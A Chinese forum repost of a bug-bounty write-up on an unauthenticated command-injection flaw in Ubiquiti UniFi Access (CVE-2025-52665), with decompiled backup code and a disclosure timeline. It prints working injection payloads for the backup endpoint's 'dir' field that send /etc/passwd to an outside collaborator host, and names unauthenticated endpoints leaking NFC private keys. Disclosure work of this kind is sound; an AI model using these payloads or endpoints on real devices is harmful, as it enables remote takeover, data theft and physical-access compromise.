找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5284

积分

1

好友

724

主题
发表于 5 小时前 | 查看: 6| 回复: 0

在为一次客户项目进行安全评估时,我们发现并利用了一个存在于 Ubiquiti UniFi OS 系统中的严重未授权远程代码执行漏洞,并因此获得了 25,000 美元的最高额漏洞赏金。

这个关键漏洞本质上是一个命令注入问题,它允许攻击者在无需任何身份验证的情况下,直接在前台服务上执行任意命令。这个发现并非孤立事件,它还引出了一系列缺乏访问控制与输入验证的未授权 API 接口。

下面,我们将完整复盘整个漏洞的发现、分析与利用过程,看看多个未授权 API 中不安全的设计模式,是如何在没有用户交互或凭证的情况下,最终导致系统被完全攻陷的。

信息收集:从登录界面到社区线索

在一次标准的安全评估中,我们对目标网络环境进行侦察,发现了一台 IP 地址为 192.168.1.1 的活跃主机。通过浏览器访问该地址,我们看到了 UniFi OS 的登录界面,这确认了目标设备运行的是基于 UniFi 的系统,具体型号为 UDM (UniFi Dream Machine SE) 系列路由器。

UniFi OS登录界面与设备实物图

为了寻找潜在的攻击面,我们将目光投向了社区。在 Ubiquiti 官方论坛中,我们搜索了与备份操作和 API 行为相关的已知问题,特别是围绕 /api/ucore/backup/export 这个端点的讨论。

UniFi社区关于备份API错误的搜索结果

我们发现大量用户报告了与此端点相关的 500 内部服务器错误、ECONNREFUSED(连接被拒绝)以及各类组件(如 Protect、Network、UUM)的备份失败。这些现象强烈暗示:备份系统是模块化的,它通过环回(loopback)API 与各种内部服务交互,而 /api/ucore/backup/export 正是这些组件共同调用的一个关键接口。

这引出了一个核心问题:如果这个端点设计为只监听 127.0.0.1,那么我们如何能从外部触及并利用它呢?

代码审计:梳理攻击路径

为了理清整个流程,我们获取了一份 UniFi Core 的软件包,解压后开始追踪 service.js 文件中所有对 “backup/export” 的引用。很快,两个关键函数揭示了端到端的路径。

第一个函数 YO 负责构造指向内部导出端点的请求:

var YO = async (e, t) => {
  let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,
  o = await k(r, { 
    method: "POST",
    body: JSON.stringify({ dir: t }),
    headers: { "Content-Type": "application/json" }
  });
  if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)
};

这里的 e 是目标应用模块(如 Network、Access、Protect)所使用的端口号,而 t 则是由调用方传入的一个目录路径。关键在于,t 的值未经任何验证就被序列化为 JSON 请求体中的 dir 字段,直接发往内部处理程序。

第二个函数 zf 是高层的控制器,它决定是从远程控制台获取备份,还是触发本地导出(即调用上面的 YO 函数)。

zf = async ({ port: e, outputDir: t, name: r }) => {
    try {
        let o = await bu(r);                      // 验证版本
        if (!o) throw new Error(...);             // 若无效则暂停
        ...
        if (...) {
            // 备份由另一台设备通过API处理
            let i = await Te(n.mac).request({ type: "downloadBackup", name: r });
            let c = Qo.join(t, Ji);
            await _o.writeFile(c, i.body);
            await x({ cwd: t, file: c });         // 解压或移动归档文件
        } else {
            await Fe(() => YO(e, t), ...);        // 关键点:调用内部YO()函数
        }

        if (await Tu(t))                          // 检查备份文件夹是否为空
            throw new Error(`Backup directory for "${r}" is empty`);
        await J("chmod", ["-R", "775", t]);        // 权限处理
        let s = await AEe(t);                      // 调用 `du -s` 获取备份大小

        return { success: true, version: o, size: s };

    } catch (o) {
        return { success: false, err: _(o) };
    }
}

zf 在调用 YO 之前,会确保输出目录存在并设置权限,导出完成后还会验证目录非空、递归修复权限并使用 du -s 测量大小。整个链条中,zfoutputDir 传给 YOYO 再将其原样传递给运行在 localhost 上的导出端点。

UniFi OS备份流程的泳道图

经过代码审计,我们确信存在代码执行的可能。编排器从外部请求接收 dir 值,不经处理就转发给内部端点,而导出处理器在创建备份工作区(执行 mktemp, chmod, tar 等命令)时,会将该值直接拼接进 Shell 命令。由于对 dir 缺乏验证和转义,其中包含的元字符将被 Shell 解释为新的命令。

这揭示了系统的两个关键属性:

  1. 敏感的备份操作本不应直接暴露,它监听在 127.0.0.1,理论上只能由编排器访问。
  2. 它从编排器接收的唯一输入就是 dir 参数。

因此,我们需要的突破口是一个能从外部访问的、并能“诱使”它发起相同内部调用的接口。

漏洞利用:找到外部入口并注入命令

我们在 192.168.1.1 上枚举了所有开放的 TCP 端口,并编写了一个简单的脚本来探测每个服务是否包含 /api/ucore/backup/export 路径。大多数端口返回 404,但 端口 9780 给出了 405 Method Not Allowed 的响应。

这个状态码很有价值——它意味着路由存在,只是我们使用的 HTTP 方法不对(比如用了 GET 而不是 POST)。这证明该处理程序确实能从网络访问,并且如果我们模仿编排器的请求格式发送 POST,它很可能会接受。

于是,我们改用正确的 POST 方法,并设置 Content-Type: application/json,主体结构参照 service.js 中的格式。我们最初的尝试是一个简单的命令注入负载:

{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

Catchify工具中发送包含命令注入的请求

然而,我们的外联服务器(Collaborator)没有收到任何请求。仔细想想导出程序的完整流程就明白了:它在使用 dir 后,还会继续执行 mktempchmodtardu -s 等一系列命令。我们虽然用分号 ; 成功“逃逸”出了预定的参数位置,但原始命令行的剩余部分在我们注入的 curl 命令之后仍会被 Shell 解析,这导致在注入的命令执行完毕前就出现了语法或路径错误,使得注入失败。

我们对负载进行了调整,不仅要干净地终止注入的命令,还要通过注释符来“中和”后面任何残余的 Shell 语法:

{"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"}

末尾的 ; 干净地结束了我们注入的 curl 命令,而 # 则注释掉了原始命令行剩下的所有内容。这避免了导出脚本的残留标记引发语法冲突。

调整负载,利用注释符确保命令执行

这次调整立竿见影。设备成功向我们的外联服务器发出了 HTTP POST 请求,我们收到了 /etc/passwd 文件的内容,这直接确认了命令执行和数据外泄的能力。

Catchify工具收到包含/etc/passwd的请求回传

更进一步,我们尝试建立了一个标准的反向 Shell 连接,并成功获得交互式访问权限,执行了 idwhoami 命令,确认了当前进程权限。

通过反向Shell执行命令确认用户权限

被利用的 RCE 漏洞使我们得以进入 UniFi Access 模块,这意味着获得了门禁控制和 NFC 凭证管理的潜在访问权限,可能导致对整个物理安全系统的完全入侵。这类深入的渗透测试发现,突显了从外部接口到核心内部服务链式攻击的严重性。

其他未授权API的发现

在成功利用 RCE 之后,我们继续深入,通过交叉对比目标设备上可访问的 Swagger 文档与官方 API 参考,验证了其他未授权 API 接口的存在。实时 API 文档使路由枚举变得非常便捷。

首先,未授权的 POST 请求到 /api/v1/user_assets/nfc,即使携带包含配置字段的 JSON 主体,服务也会直接返回 {"code":"CODE_SUCCESS"},这证实了该端点无需任何会话或身份验证即可访问并处理请求。

未授权调用创建用户NFC凭证的API

更严重的是,一个简单的未授权 GET 请求到 /api/v1/user_assets/touch_pass/keys,直接返回了用于移动/NFC 门禁功能的实时密钥材料,包括苹果 NFC 快速/安全密钥、终端标识以及包含 PEM 格式私钥的 Google Pass 认证密钥块。所有这些敏感信息都通过同一个可从外部访问的端口泄露,且全程无需认证。

未授权访问泄露NFC门禁相关密钥

漏洞披露与时间线

  • 报告方: Catchify Security
  • 报告提交: 2025年10月9日 18:14 UTC
  • 厂商响应: Ubiquiti 于 2025年10月9日 19:40 UTC 确认并开始处理
  • 修复发布: 漏洞已在 UniFi Access 相关版本中修复
  • 赏金金额: 25,000 美元(非 Ubiquiti 云目标类别的最高额度)
  • 公开披露: 厂商表示将在公开安全公告中包含 CVE 编号并给予我方全额致谢

文章参考来源: CVE-2025-52665 - RCE in Unifi Access ($25,000)

这次对 UniFi OS 系统的安全评估,从最初的网络侦察到最终的漏洞利用与深入发现,清晰地展示了攻击面如何从外部 API 蔓延至内部核心服务。它强调了在安全设计中对所有输入进行严格验证、实施最小权限原则以及确保内部服务接口不被意外暴露的重要性。对于企业和安全研究人员而言,定期进行此类深度的安全评估是防御此类链式攻击的关键。欢迎在云栈社区交流更多安全技术细节。




上一篇:Fiori RAP开发必备:5个实用CDS注解详解与场景应用
下一篇:基于Docker与HTTP回调:SRS流媒体服务器推拉流身份认证实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-12 09:46 , Processed in 0.586279 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表